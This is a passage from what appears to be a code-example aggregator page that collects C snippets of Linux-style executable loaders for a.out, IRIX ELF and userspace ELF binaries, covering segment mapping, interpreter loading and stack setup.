	     N_MAGIC(ex) != QMAGIC && N_MAGIC(ex) != NMAGIC) ||
	    N_TRSIZE(ex) || N_DRSIZE(ex) ||
	    bprm->file->f_path.dentry->d_inode->i_size < ex.a_text+ex.a_data+N_SYMSIZE(ex)+N_TXTOFF(ex)) {
		return -ENOEXEC;
	}

	fd_offset = N_TXTOFF(ex);

	/* Check initial limits. This avoids letting people circumvent
	 * size limits imposed on them by creating programs with large
	 * arrays in the data or bss.
	 */
	rlim = current->signal->rlim[RLIMIT_DATA].rlim_cur;
	if (rlim >= RLIM_INFINITY)
		rlim = ~0;
	if (ex.a_data + ex.a_bss > rlim)
		return -ENOMEM;

	/* Flush all traces of the currently running executable */
	retval = flush_old_exec(bprm);
	if (retval)
		return retval;

	/* OK, This is the point of no return */
	set_personality(PER_SUNOS);

	current->mm->end_code = ex.a_text +
		(current->mm->start_code = N_TXTADDR(ex));
	current->mm->end_data = ex.a_data +
		(current->mm->start_data = N_DATADDR(ex));
	current->mm->brk = ex.a_bss +
		(current->mm->start_brk = N_BSSADDR(ex));
	current->mm->free_area_cache = current->mm->mmap_base;
	current->mm->cached_hole_size = 0;

	current->mm->mmap = NULL;
	compute_creds(bprm);
 	current->flags &= ~PF_FORKNOEXEC;
	if (N_MAGIC(ex) == NMAGIC) {
		loff_t pos = fd_offset;
		/* F**k me plenty... */
		down_write(&current->mm->mmap_sem);	
		error = do_brk(N_TXTADDR(ex), ex.a_text);
		up_write(&current->mm->mmap_sem);
		bprm->file->f_op->read(bprm->file, (char __user *)N_TXTADDR(ex),
			  ex.a_text, &pos);
		down_write(&current->mm->mmap_sem);
		error = do_brk(N_DATADDR(ex), ex.a_data);
		up_write(&current->mm->mmap_sem);
		bprm->file->f_op->read(bprm->file, (char __user *)N_DATADDR(ex),
			  ex.a_data, &pos);
		goto beyond_if;
	}

	if (N_MAGIC(ex) == OMAGIC) {
		loff_t pos = fd_offset;
		down_write(&current->mm->mmap_sem);
		do_brk(N_TXTADDR(ex) & PAGE_MASK,
			ex.a_text+ex.a_data + PAGE_SIZE - 1);
		up_write(&current->mm->mmap_sem);
		bprm->file->f_op->read(bprm->file, (char __user *)N_TXTADDR(ex),
			  ex.a_text+ex.a_data, &pos);
	} else {
		static unsigned long error_time;
		if ((ex.a_text & 0xfff || ex.a_data & 0xfff) &&
		    (N_MAGIC(ex) != NMAGIC) && (jiffies-error_time) > 5*HZ)
		{
			printk(KERN_NOTICE "executable not page aligned\n");
			error_time = jiffies;
		}

		if (!bprm->file->f_op->mmap) {
			loff_t pos = fd_offset;
			down_write(&current->mm->mmap_sem);
			do_brk(0, ex.a_text+ex.a_data);
			up_write(&current->mm->mmap_sem);
			bprm->file->f_op->read(bprm->file,
				  (char __user *)N_TXTADDR(ex),
				  ex.a_text+ex.a_data, &pos);
			goto beyond_if;
		}

	        down_write(&current->mm->mmap_sem);
		error = do_mmap(bprm->file, N_TXTADDR(ex), ex.a_text,
			PROT_READ | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE,
			fd_offset);
	        up_write(&current->mm->mmap_sem);

		if (error != N_TXTADDR(ex)) {
			send_sig(SIGKILL, current, 0);
			return error;
		}

	        down_write(&current->mm->mmap_sem);
 		error = do_mmap(bprm->file, N_DATADDR(ex), ex.a_data,
				PROT_READ | PROT_WRITE | PROT_EXEC,
				MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE,
				fd_offset + ex.a_text);
	        up_write(&current->mm->mmap_sem);
		if (error != N_DATADDR(ex)) {
			send_sig(SIGKILL, current, 0);
			return error;
		}
	}
beyond_if:
	set_binfmt(&aout32_format);

	set_brk(current->mm->start_brk, current->mm->brk);

	/* Make sure STACK_TOP returns the right thing.  */
	orig_thr_flags = current_thread_info()->flags;
	current_thread_info()->flags |= _TIF_32BIT;

	retval = setup_arg_pages(bprm, STACK_TOP, EXSTACK_DEFAULT);
	if (retval < 0) { 
		current_thread_info()->flags = orig_thr_flags;

		/* Someone check-me: is this error path enough? */ 
		send_sig(SIGKILL, current, 0); 
		return retval;
	}

	current->mm->start_stack =
		(unsigned long) create_aout32_tables((char __user *)bprm->p, bprm);
	tsb_context_switch(current->mm);

	start_thread32(regs, ex.a_entry, current->mm->start_stack);
	if (current->ptrace & PT_PTRACED)
		send_sig(SIGTRAP, current, 0);
	return 0;
}
Пример #6
0
/* This is much more generalized than the library routine read function,
 * so we keep this separate.  Technically the library read function
 * is only provided so that we can read a.out libraries that have
 * an ELF header.
 */
static unsigned int load_irix_interp(struct elfhdr * interp_elf_ex,
				     struct file * interpreter,
				     unsigned int *interp_load_addr)
{
	struct elf_phdr *elf_phdata  =  NULL;
	struct elf_phdr *eppnt;
	unsigned int len;
	unsigned int load_addr;
	int elf_bss;
	int retval;
	unsigned int last_bss;
	int error;
	int i;
	unsigned int k;

	elf_bss = 0;
	last_bss = 0;
	error = load_addr = 0;

	print_elfhdr(interp_elf_ex);

	/* First of all, some simple consistency checks */
	if ((interp_elf_ex->e_type != ET_EXEC &&
	     interp_elf_ex->e_type != ET_DYN) ||
	     !interpreter->f_op->mmap) {
		printk("IRIX interp has bad e_type %d\n", interp_elf_ex->e_type);
		return 0xffffffff;
	}

	/* Now read in all of the header information */
	if (sizeof(struct elf_phdr) * interp_elf_ex->e_phnum > PAGE_SIZE) {
	    printk("IRIX interp header bigger than a page (%d)\n",
		   (sizeof(struct elf_phdr) * interp_elf_ex->e_phnum));
	    return 0xffffffff;
	}

	elf_phdata = kmalloc(sizeof(struct elf_phdr) * interp_elf_ex->e_phnum,
			     GFP_KERNEL);

	if (!elf_phdata) {
		printk("Cannot kmalloc phdata for IRIX interp.\n");
		return 0xffffffff;
	}

	/* If the size of this structure has changed, then punt, since
	 * we will be doing the wrong thing.
	 */
	if (interp_elf_ex->e_phentsize != 32) {
		printk("IRIX interp e_phentsize == %d != 32 ",
		       interp_elf_ex->e_phentsize);
		kfree(elf_phdata);
		return 0xffffffff;
	}

	retval = kernel_read(interpreter, interp_elf_ex->e_phoff,
			   (char *) elf_phdata,
			   sizeof(struct elf_phdr) * interp_elf_ex->e_phnum);

	dump_phdrs(elf_phdata, interp_elf_ex->e_phnum);

	eppnt = elf_phdata;
	for (i = 0; i < interp_elf_ex->e_phnum; i++, eppnt++) {
		if (eppnt->p_type == PT_LOAD) {
			int elf_type = MAP_PRIVATE | MAP_DENYWRITE;
			int elf_prot = 0;
			unsigned long vaddr = 0;
			if (eppnt->p_flags & PF_R)
				elf_prot =  PROT_READ;
			if (eppnt->p_flags & PF_W)
				elf_prot |= PROT_WRITE;
			if (eppnt->p_flags & PF_X)
				elf_prot |= PROT_EXEC;
			elf_type |= MAP_FIXED;
			vaddr = eppnt->p_vaddr;

			pr_debug("INTERP do_mmap"
			         "(%p, %08lx, %08lx, %08lx, %08lx, %08lx) ",
			         interpreter, vaddr,
			         (unsigned long)
			         (eppnt->p_filesz + (eppnt->p_vaddr & 0xfff)),
			         (unsigned long)
			         elf_prot, (unsigned long) elf_type,
			         (unsigned long)
			         (eppnt->p_offset & 0xfffff000));

			down_write(&current->mm->mmap_sem);
			error = do_mmap(interpreter, vaddr,
			eppnt->p_filesz + (eppnt->p_vaddr & 0xfff),
			elf_prot, elf_type,
			eppnt->p_offset & 0xfffff000);
			up_write(&current->mm->mmap_sem);

			if (error < 0 && error > -1024) {
				printk("Aieee IRIX interp mmap error=%d\n",
				       error);
				break;  /* Real error */
			}
			pr_debug("error=%08lx ", (unsigned long) error);
			if (!load_addr && interp_elf_ex->e_type == ET_DYN) {
				load_addr = error;
				pr_debug("load_addr = error ");
			}

			/*
			 * Find the end of the file  mapping for this phdr, and
			 * keep track of the largest address we see for this.
			 */
			k = eppnt->p_vaddr + eppnt->p_filesz;
			if (k > elf_bss)
				elf_bss = k;

			/* Do the same thing for the memory mapping - between
			 * elf_bss and last_bss is the bss section.
			 */
			k = eppnt->p_memsz + eppnt->p_vaddr;
			if (k > last_bss)
				last_bss = k;
			pr_debug("\n");
		}
	}

	/* Now use mmap to map the library into memory. */
	if (error < 0 && error > -1024) {
		pr_debug("got error %d\n", error);
		kfree(elf_phdata);
		return 0xffffffff;
	}

	/* Now fill out the bss section.  First pad the last page up
	 * to the page boundary, and then perform a mmap to make sure
	 * that there are zero-mapped pages up to and including the
	 * last bss page.
	 */
	pr_debug("padzero(%08lx) ", (unsigned long) (elf_bss));
	padzero(elf_bss);
	len = (elf_bss + 0xfff) & 0xfffff000; /* What we have mapped so far */

	pr_debug("last_bss[%08lx] len[%08lx]\n", (unsigned long) last_bss,
	         (unsigned long) len);

	/* Map the last of the bss segment */
	if (last_bss > len) {
		down_write(&current->mm->mmap_sem);
		do_brk(len, (last_bss - len));
		up_write(&current->mm->mmap_sem);
	}
	kfree(elf_phdata);

	*interp_load_addr = load_addr;
	return ((unsigned int) interp_elf_ex->e_entry);
}
Пример #7
0
/* This is really simpleminded and specialized - we are loading an
 * a.out library that is given an ELF header.
 */
static int load_irix_library(struct file *file)
{
	struct elfhdr elf_ex;
	struct elf_phdr *elf_phdata  =  NULL;
	unsigned int len = 0;
	int elf_bss = 0;
	int retval;
	unsigned int bss;
	int error;
	int i, j, k;

	error = kernel_read(file, 0, (char *) &elf_ex, sizeof(elf_ex));
	if (error != sizeof(elf_ex))
		return -ENOEXEC;

	if (memcmp(elf_ex.e_ident, ELFMAG, SELFMAG) != 0)
		return -ENOEXEC;

	/* First of all, some simple consistency checks. */
	if (elf_ex.e_type != ET_EXEC || elf_ex.e_phnum > 2 ||
	   !file->f_op->mmap)
		return -ENOEXEC;

	/* Now read in all of the header information. */
	if (sizeof(struct elf_phdr) * elf_ex.e_phnum > PAGE_SIZE)
		return -ENOEXEC;

	elf_phdata = kmalloc(sizeof(struct elf_phdr) * elf_ex.e_phnum, GFP_KERNEL);
	if (elf_phdata == NULL)
		return -ENOMEM;

	retval = kernel_read(file, elf_ex.e_phoff, (char *) elf_phdata,
			   sizeof(struct elf_phdr) * elf_ex.e_phnum);

	j = 0;
	for (i=0; i<elf_ex.e_phnum; i++)
		if ((elf_phdata + i)->p_type == PT_LOAD) j++;

	if (j != 1)  {
		kfree(elf_phdata);
		return -ENOEXEC;
	}

	while (elf_phdata->p_type != PT_LOAD) elf_phdata++;

	/* Now use mmap to map the library into memory. */
	down_write(&current->mm->mmap_sem);
	error = do_mmap(file,
			elf_phdata->p_vaddr & 0xfffff000,
			elf_phdata->p_filesz + (elf_phdata->p_vaddr & 0xfff),
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
			elf_phdata->p_offset & 0xfffff000);
	up_write(&current->mm->mmap_sem);

	k = elf_phdata->p_vaddr + elf_phdata->p_filesz;
	if (k > elf_bss) elf_bss = k;

	if (error != (elf_phdata->p_vaddr & 0xfffff000)) {
		kfree(elf_phdata);
		return error;
	}

	padzero(elf_bss);

	len = (elf_phdata->p_filesz + elf_phdata->p_vaddr+ 0xfff) & 0xfffff000;
	bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
	if (bss > len) {
	  down_write(&current->mm->mmap_sem);
	  do_brk(len, bss-len);
	  up_write(&current->mm->mmap_sem);
	}
	kfree(elf_phdata);
	return 0;
}
Пример #8
0
static int load_elf_library(int fd)
{
  /* uselib syscall isn't implemented so we don't need this function 
     just yet... */
  return -EINVAL;
  
#if 0
  struct file * file;
  struct dentry * dentry;
  struct inode * inode;
  struct elf_phdr *elf_phdata;
  unsigned long elf_bss = 0, bss, len, k;
  int retval, error, i, j;
  struct elfhdr elf_ex;
  loff_t offset = 0;

  error = -EACCES;
  file = fget(fd);
  if (!file || !file->f_op)
    goto out;
  dentry = file->f_dentry;
  inode = dentry->d_inode;

  /* seek to the beginning of the file */
  error = -ENOEXEC;

  /* N.B. save current DS?? */
  set_fs(KERNEL_DS);
  retval = file->f_op->read(file, (char *) &elf_ex, sizeof(elf_ex), &offset);
  set_fs(USER_DS);
  if (retval != sizeof(elf_ex))
    goto out_putf;

  if (elf_ex.e_ident[0] != 0x7f ||
      strncmp(&elf_ex.e_ident[1], "ELF", 3) != 0)
    goto out_putf;

  /* First of all, some simple consistency checks */
  if (elf_ex.e_type != ET_EXEC || elf_ex.e_phnum > 2 ||
     !elf_check_arch(elf_ex.e_machine) ||
     (!inode->i_op || !inode->i_op->default_file_ops->mmap))
    goto out_putf;

  /* Now read in all of the header information */

  j = sizeof(struct elf_phdr) * elf_ex.e_phnum;
  if (j > ELF_EXEC_PAGESIZE)
    goto out_putf;

  error = -ENOMEM;
  elf_phdata = (struct elf_phdr *) kmalloc(j, GFP_KERNEL);
  if (!elf_phdata)
    goto out_putf;

  /* N.B. check for error return?? */
  retval = read_exec(dentry, elf_ex.e_phoff, (char *) elf_phdata,
         sizeof(struct elf_phdr) * elf_ex.e_phnum, 1);

  error = -ENOEXEC;
  for (j = 0, i = 0; i<elf_ex.e_phnum; i++)
    if ((elf_phdata + i)->p_type == PT_LOAD) j++;
  if (j != 1)
    goto out_free_ph;

  while (elf_phdata->p_type != PT_LOAD) elf_phdata++;

  /* Now use mmap to map the library into memory. */
  error = do_mmap(file,
      ELF_PAGESTART(elf_phdata->p_vaddr),
      (elf_phdata->p_filesz +
       ELF_PAGEOFFSET(elf_phdata->p_vaddr)),
      PROT_READ | PROT_WRITE | PROT_EXEC,
      MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
      (elf_phdata->p_offset -
       ELF_PAGEOFFSET(elf_phdata->p_vaddr)));
  if (error != ELF_PAGESTART(elf_phdata->p_vaddr))
    goto out_free_ph;

  k = elf_phdata->p_vaddr + elf_phdata->p_filesz;
  if (k > elf_bss)
    elf_bss = k;
  padzero(elf_bss);

  len = ELF_PAGESTART(elf_phdata->p_filesz + elf_phdata->p_vaddr + 
        ELF_EXEC_PAGESIZE - 1);
  bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
  if (bss > len)
    do_mmap(NULL, len, bss - len,
      PROT_READ|PROT_WRITE|PROT_EXEC,
      MAP_FIXED|MAP_PRIVATE, 0);
  error = 0;

out_free_ph:
  kfree(elf_phdata);
out_putf:
  fput(file);
out:
  return error;
#endif  
}
Пример #9
0
static int load_fn_file(struct linux_binprm * bprm,unsigned long *extra_stack)
{
	unsigned long stack_len;
	unsigned long stack_start;
	unsigned long start_code, end_code;
	unsigned long result;
	unsigned long rlim;

	stack_len = USERSPACE_STACK_SIZE; 
	if (extra_stack) {
		stack_len += *extra_stack;
		*extra_stack = stack_len;
	}

	/*
	 * Check initial limits. This avoids letting people circumvent
	 * size limits imposed on them by creating programs with large
	 * arrays in the data or bss.
	 */
	rlim = current->signal->rlim[RLIMIT_DATA].rlim_cur;
	if (rlim >= RLIM_INFINITY)
		rlim = ~0;

	/* Flush all traces of the currently running executable */
	result = flush_old_exec(bprm);
	if (result)
		return result;

	/* OK, This is the point of no return */
	set_personality(PER_LINUX);

	/*
	 * there are a couple of cases here,  the separate code/data
	 * case,  and then the fully copied to RAM case which lumps
	 * it all together.
	 */
	down_write(&current->mm->mmap_sem);
	stack_start= do_mmap(0, 0,stack_len,
			PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE, 0);
	up_write(&current->mm->mmap_sem);
	if (!stack_start|| stack_start >= (unsigned long) -4096) {
		if (!stack_start)
			stack_start = (unsigned long) -ENOMEM;
		printk("Unable to allocate RAM for process text/data, errno %d\n",
				(int)-stack_start);
		return(stack_start);
	}

	/* The main program needs a little extra setup in the task structure */
	start_code = (unsigned long)bprm->filename;
	end_code = start_code + PAGE_SIZE*2;

	current->mm->start_code = start_code;
	current->mm->end_code = end_code;
	current->mm->start_data = 0;
	current->mm->end_data = 0;
	/*
	 * set up the brk stuff, uses any slack left in data/bss/stack
	 * allocation.  We put the brk after the bss (between the bss
	 * and stack) like other platforms.
	 */
	current->mm->start_brk = 0;
	current->mm->brk = 0;
	current->mm->context.end_brk = stack_start;
	set_mm_counter(current->mm, rss, 0);

	flush_icache_range(start_code, end_code);

	memset((unsigned char*)stack_start,0,stack_len);

	return 0;
}
Пример #10
0
static unsigned long load_elf_interp(struct elfhdr * interp_elf_ex,
                                     int interpreter_fd,
                                     unsigned long *interp_load_addr)
{
  struct elf_phdr *elf_phdata;
  struct elf_phdr *eppnt;
  unsigned long load_addr = 0;
  int load_addr_set = 0;
  unsigned long last_bss = 0, elf_bss = 0;
  unsigned long error = ~0UL;
  int elf_exec_fileno;
  int retval, i, size;

  /* First of all, some simple consistency checks */
  if (interp_elf_ex->e_type != ET_EXEC &&
      interp_elf_ex->e_type != ET_DYN)
    goto out;
  if (!elf_check_arch(interp_elf_ex->e_machine))
    goto out;

  /*
   * If the size of this structure has changed, then punt, since
   * we will be doing the wrong thing.
   */
  if (interp_elf_ex->e_phentsize != sizeof(struct elf_phdr))
    goto out;

  /* Now read in all of the header information */

  if (interp_elf_ex->e_phnum < 1 || interp_elf_ex->e_phnum >
      ELF_EXEC_PAGESIZE / sizeof(struct elf_phdr))
    goto out;
  size = sizeof(struct elf_phdr) * interp_elf_ex->e_phnum;
  elf_phdata = (struct elf_phdr *) malloc(size);
  if (!elf_phdata)
    goto out;

  retval = read_exec(interpreter_fd, interp_elf_ex->e_phoff,
                     (char *) elf_phdata, size, 1);
  error = retval;
  if (retval < 0)
    goto out_free;

  error = ~0UL;
  elf_exec_fileno = dup(interpreter_fd);
  if (elf_exec_fileno < 0)
    goto out_free;
  
  eppnt = elf_phdata;
  
  for (i=0; i<interp_elf_ex->e_phnum; i++, eppnt++) {
    if (eppnt->p_type == PT_LOAD) {
      int elf_type = MAP_PRIVATE; // | MAP_DENYWRITE;
      int elf_prot = 0;
      unsigned long vaddr = 0;
      unsigned long k, map_addr;

      if (eppnt->p_flags & PF_R) elf_prot =  PROT_READ;
      if (eppnt->p_flags & PF_W) elf_prot |= PROT_WRITE;
      if (eppnt->p_flags & PF_X) elf_prot |= PROT_EXEC;
      vaddr = eppnt->p_vaddr;
      
      if (interp_elf_ex->e_type == ET_EXEC || load_addr_set) {
        elf_type |= MAP_FIXED;
      }

#ifdef __VERBOSE__ 
      printf("mapping: %08lX  (load_addr: %08lX, vaddr:%08lX)\n",  
            load_addr + ELF_PAGESTART(vaddr), load_addr, vaddr);
#endif
  

      map_addr = do_mmap(elf_exec_fileno, load_addr + ELF_PAGESTART(vaddr),
                         eppnt->p_filesz + ELF_PAGEOFFSET(eppnt->p_vaddr),
                         elf_prot, elf_type,
                         eppnt->p_offset - ELF_PAGEOFFSET(eppnt->p_vaddr));

#ifdef __VERBOSE__ 
      printf("map_addr: %08lX\n", map_addr);
#endif      
 
      if (map_addr > -1024UL) /* Real error */
        goto out_close;

      if (!load_addr_set && interp_elf_ex->e_type == ET_DYN) {
        load_addr = map_addr - ELF_PAGESTART(vaddr);
        load_addr_set = 1;
      }

      /*
       * Find the end of the file mapping for this phdr, and keep
       * track of the largest address we see for this.
       */
      k = load_addr + eppnt->p_vaddr + eppnt->p_filesz;
      if (k > elf_bss)
        elf_bss = k;

      /*
       * Do the same thing for the memory mapping - between
       * elf_bss and last_bss is the bss section.
       */
      k = load_addr + eppnt->p_memsz + eppnt->p_vaddr;
      if (k > last_bss)
        last_bss = k;
    }
  }

  /* Now use mmap to map the library into memory. */

  /*
   * Now fill out the bss section.  First pad the last page up
   * to the page boundary, and then perform a mmap to make sure
   * that there are zero-mapped pages up to and including the 
   * last bss page.
   */
  padzero(elf_bss);
  elf_bss = ELF_PAGESTART(elf_bss + ELF_EXEC_PAGESIZE - 1); /* What we have mapped so far */

  /* Map the last of the bss segment */
  if (last_bss > elf_bss)
    do_mmap(-1, elf_bss, last_bss - elf_bss, PROT_READ|PROT_WRITE|PROT_EXEC,
            MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0);

  *interp_load_addr = load_addr;
  /*
   * AUDIT: is everything deallocated properly if this happens
   * to be ~0UL? We'd better switch to out-of-band error reporting.
   * Also for a.out.
   */
  error = ((unsigned long) interp_elf_ex->e_entry) + load_addr;

out_close:
  close(elf_exec_fileno);
  
out_free:
  free(elf_phdata);
  
out:
  return error;
}
Пример #11
0
static int load_elf_binary(struct linux_binprm *bprm)
{
  struct pt_regs regs; 
  int interpreter_fd = -1;
   unsigned long load_addr = 0, load_bias;
  int load_addr_set = 0;
  char * elf_interpreter = NULL;
  unsigned int interpreter_type = INTERPRETER_NONE;
  unsigned long error;
  struct elf_phdr * elf_ppnt, *elf_phdata;
  unsigned long elf_bss, k, elf_brk;
  int elf_exec_fileno;
  int retval, size, i;
  unsigned long elf_entry, interp_load_addr = 0;
  unsigned long start_code, end_code, end_data;
  struct elfhdr elf_ex;
  struct elfhdr interp_elf_ex;
    struct exec interp_ex;
  char passed_fileno[6];
  
  /* Get the exec-header */
  elf_ex = *((struct elfhdr *) bprm->buf);
  my_print("[debug]here to run elf\n");
  retval = -ENOEXEC;
  /* First of all, some simple consistency checks */
  if (elf_ex.e_ident[0] != 0x7f ||
      strncmp(&elf_ex.e_ident[1], "ELF", 3) != 0)
    goto out;
  //my_print("[ender]1\n");
  if (elf_ex.e_type != ET_EXEC && elf_ex.e_type != ET_DYN)
    goto out;
  if (!elf_check_arch(elf_ex.e_machine))
    goto out;
  //my_print("[ender]2\n");

  /* Now read in all of the header information */

  if (elf_ex.e_phentsize != sizeof(struct elf_phdr) ||
      elf_ex.e_phnum < 1 ||
      elf_ex.e_phnum > 65536 / sizeof(struct elf_phdr))
    goto out;
 // my_print("[ender]3\n");
  retval = -ENOMEM;
  size = elf_ex.e_phentsize * elf_ex.e_phnum;
  elf_phdata = (struct elf_phdr *) malloc(size);
  if (!elf_phdata)
    goto out;

  retval = read_exec(bprm->fd, elf_ex.e_phoff, (char *) elf_phdata, size, 1);
  if (retval < 0)
    goto out_free_ph;
  //my_print("[ender]4\n");

  elf_exec_fileno = dup(bprm->fd);
  lseek(elf_exec_fileno, 0, SEEK_SET);

  elf_ppnt = elf_phdata;
  elf_bss = 0;
  elf_brk = 0;

  start_code = ~0UL;
  end_code = 0;
  end_data = 0;

  /* look for interpreter */
  for (i = 0; i < elf_ex.e_phnum; i++) {
    if (elf_ppnt->p_type == PT_INTERP) {
      retval = -ENOEXEC;
        if (elf_interpreter ||
          elf_ppnt->p_filesz < 2 ||
          elf_ppnt->p_filesz > PAGE_SIZE)
        goto out_free_dentry;

      /* This is the program interpreter used for
       * shared libraries - for now assume that this
       * is an a.out format binary
       */

      retval = -ENOMEM;
      elf_interpreter = (char *)malloc(elf_ppnt->p_filesz);
      if (!elf_interpreter)
        goto out_free_file;

      retval = read_exec(bprm->fd, elf_ppnt->p_offset,
             elf_interpreter, elf_ppnt->p_filesz, 1);
      if (retval < 0)
        goto out_free_interp;
      elf_interpreter[elf_ppnt->p_filesz - 1] = 0;
      
#if 0
      /* If the program interpreter is one of these two,
       * then assume an iBCS2 image. Otherwise assume
       * a native linux image.
       */
      if (strcmp(elf_interpreter,"/usr/lib/libc.so.1") == 0 ||
          strcmp(elf_interpreter,"/usr/lib/ld.so.1") == 0)
        ibcs2_interpreter = 1;
#endif

      log_debug(LOG_LINEXEC_EXEC, "Using ELF interpreter: %s", elf_interpreter);
	  if( elf_interpreter[0] == '/'){
		  char tmp [MAX_PATH];
          change_path_to_relative(tmp, elf_interpreter);
		  free(elf_interpreter);
		  //elf_interpreter = (char *)malloc(elf_ppnt->p_filesz);
          elf_interpreter = (char *)malloc(strlen(tmp)+1);
		  if (!elf_interpreter)
			  goto out_free_file;
		  strcpy(elf_interpreter, tmp);
	  }
      interpreter_fd = open(elf_interpreter, O_RDONLY);
	  my_print("[debug]open elf_interpreter %s\n", elf_interpreter);
      if (interpreter_fd < 0) {
        retval = -errno;
        goto out_free_interp;
      }

#if 0        
      retval = permission(interpreter_dentry->d_inode, MAY_EXEC);
      if (retval < 0)
        goto out_free_dentry;
#endif
        
      retval = read_exec(interpreter_fd, 0, bprm->buf, 128, 1);
      if (retval < 0)
        goto out_free_dentry;

      /* Get the exec headers */
      interp_ex = *((struct exec *) bprm->buf);
      interp_elf_ex = *((struct elfhdr *) bprm->buf);
    }
    elf_ppnt++;
	//my_print("[ender]6\n");
  }

  /* Some simple consistency checks for the interpreter */
  if (elf_interpreter) {
    interpreter_type = INTERPRETER_ELF | INTERPRETER_AOUT;

    /* Now figure out which format our binary is */
    if ((N_MAGIC(interp_ex) != OMAGIC) &&
        (N_MAGIC(interp_ex) != ZMAGIC) &&
        (N_MAGIC(interp_ex) != QMAGIC))
      interpreter_type = INTERPRETER_ELF;

    if (interp_elf_ex.e_ident[0] != 0x7f ||
        strncmp(&interp_elf_ex.e_ident[1], "ELF", 3) != 0)
      interpreter_type &= ~INTERPRETER_ELF;

    retval = -ELIBBAD;
    if (!interpreter_type)
      goto out_free_dentry;

    /* Make sure only one type was selected */
    if ((interpreter_type & INTERPRETER_ELF) &&
         interpreter_type != INTERPRETER_ELF) {
      printf("ELF: Ambiguous type, using ELF\n");
      interpreter_type = INTERPRETER_ELF;
    }
  }
  //my_print("[ender]7\n");
  /* OK, we are done with that, now set up the arg stuff,
     and then start this sucker up */
  if (!bprm->sh_bang) {
    char * passed_p;

    if (interpreter_type == INTERPRETER_AOUT) {
      sprintf(passed_fileno, "%d", elf_exec_fileno);
      passed_p = passed_fileno;

      if (elf_interpreter) {
        bprm->p = copy_strings(1,&passed_p,bprm->page,bprm->p);
        bprm->argc++;
      }
    }
    retval = -E2BIG;
    if (!bprm->p)
      goto out_free_dentry;
  }


#if 0
  /* Flush all traces of the currently running executable */
  retval = flush_old_exec(bprm);
  if (retval)
    goto out_free_dentry;
#endif  

  /* OK, This is the point of no return */
  current->end_data = 0;
  current->end_code = 0;
#if 0
  current->mm->mmap = NULL;
  current->flags &= ~PF_FORKNOEXEC;

#endif  
  elf_entry = (unsigned long) elf_ex.e_entry;
  //printf("[ender]8\n");

#if 0
  /* Do this immediately, since STACK_TOP as used in setup_arg_pages
     may depend on the personality.  */
  SET_PERSONALITY(elf_ex, ibcs2_interpreter);
#endif  

  /* Do this so that we can load the interpreter, if need be.  We will
     change some of these later */
//  current->mm->rss = 0;
  bprm->p = setup_arg_pages(bprm->p, bprm);
  
  current->start_stack = bprm->p;

  /* Try and get dynamic programs out of the way of the default mmap
     base, as well as whatever program they might try to exec.  This
     is because the brk will follow the loader, and is not movable.  */

  load_bias = ELF_PAGESTART(elf_ex.e_type==ET_DYN ? ELF_ET_DYN_BASE : 0);
#ifdef __VERBOSE__
  printf("load_bias: %08lX\n", load_bias);
#endif

  /* Now we do a little grungy work by mmaping the ELF image into
     the correct location in memory.  At this point, we assume that
     the image should be loaded at fixed address, not at a variable
     address. */

  for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++, elf_ppnt++) {
    int elf_prot = 0, elf_flags;
    unsigned long vaddr;

    if (elf_ppnt->p_type != PT_LOAD)
      continue;

    if (elf_ppnt->p_flags & PF_R) elf_prot |= PROT_READ;
    if (elf_ppnt->p_flags & PF_W) elf_prot |= PROT_WRITE;
    if (elf_ppnt->p_flags & PF_X) elf_prot |= PROT_EXEC;

    elf_flags = MAP_PRIVATE; // |MAP_DENYWRITE|MAP_EXECUTABLE;

    vaddr = elf_ppnt->p_vaddr;
    if (elf_ex.e_type == ET_EXEC || load_addr_set) {
      elf_flags |= MAP_FIXED;
    }
	//my_print("[ender]9\n");
#ifdef __VERBOSE__
    printf("mapping: %08lX\n", ELF_PAGESTART(load_bias + vaddr));
#endif
    error = do_mmap(bprm->fd, ELF_PAGESTART(load_bias + vaddr),
                    (elf_ppnt->p_filesz + ELF_PAGEOFFSET(elf_ppnt->p_vaddr)),
                    elf_prot, elf_flags, 
                    (elf_ppnt->p_offset - ELF_PAGEOFFSET(elf_ppnt->p_vaddr)));

#ifdef __VERBOSE__
    printf("error: %08lX\n", error);
#endif

    if (!load_addr_set) {
      load_addr_set = 1;
      load_addr = (elf_ppnt->p_vaddr - elf_ppnt->p_offset);
#ifdef __VERBOSE__
      printf("load_addr: %08lX, vaddr: %08lX\n", load_addr, vaddr);
#endif      
      if (elf_ex.e_type == ET_DYN) {
        load_bias += error - ELF_PAGESTART(load_bias + vaddr);
        load_addr += error;
      
#ifdef __VERBOSE__
        printf("new\nload_bias: %08lX, load_addr: %08lX\n", load_bias, load_addr);
#endif        
      }
    }
    k = elf_ppnt->p_vaddr;
    if (k < start_code) start_code = k;
    k = elf_ppnt->p_vaddr + elf_ppnt->p_filesz;
    if (k > elf_bss)
      elf_bss = k;
    if ((elf_ppnt->p_flags & PF_X) && end_code <  k)
      end_code = k;
    if (end_data < k)
      end_data = k;
    k = elf_ppnt->p_vaddr + elf_ppnt->p_memsz;
    if (k > elf_brk)
      elf_brk = k;
  }
  
  close(bprm->fd);
  
  elf_entry += load_bias;
  elf_bss += load_bias;
  elf_brk += load_bias;
  start_code += load_bias;
  end_code += load_bias;
  end_data += load_bias;

  if (elf_interpreter) {
    if (interpreter_type == INTERPRETER_AOUT) {
      elf_entry = load_aout_interp(&interp_ex, interpreter_fd);
    } else {
      elf_entry = load_elf_interp(&interp_elf_ex, interpreter_fd, 
                                  &interp_load_addr);
    }                                  
    close(interpreter_fd);
    if (elf_entry == ~0UL) {
      printf("Unable to load interpreter %.128s\n", elf_interpreter);
      free(elf_interpreter);
      free(elf_phdata);
      
      //send_sig(SIGSEGV, current, 0);
      exit(1);
      return 0;
    }

    free(elf_interpreter);
  }
  
  free(elf_phdata);

  if (interpreter_type != INTERPRETER_AOUT)
    close(elf_exec_fileno);
  
#if 0
#ifndef VM_STACK_FLAGS
  current->executable = dget(bprm->dentry);
#endif
#endif
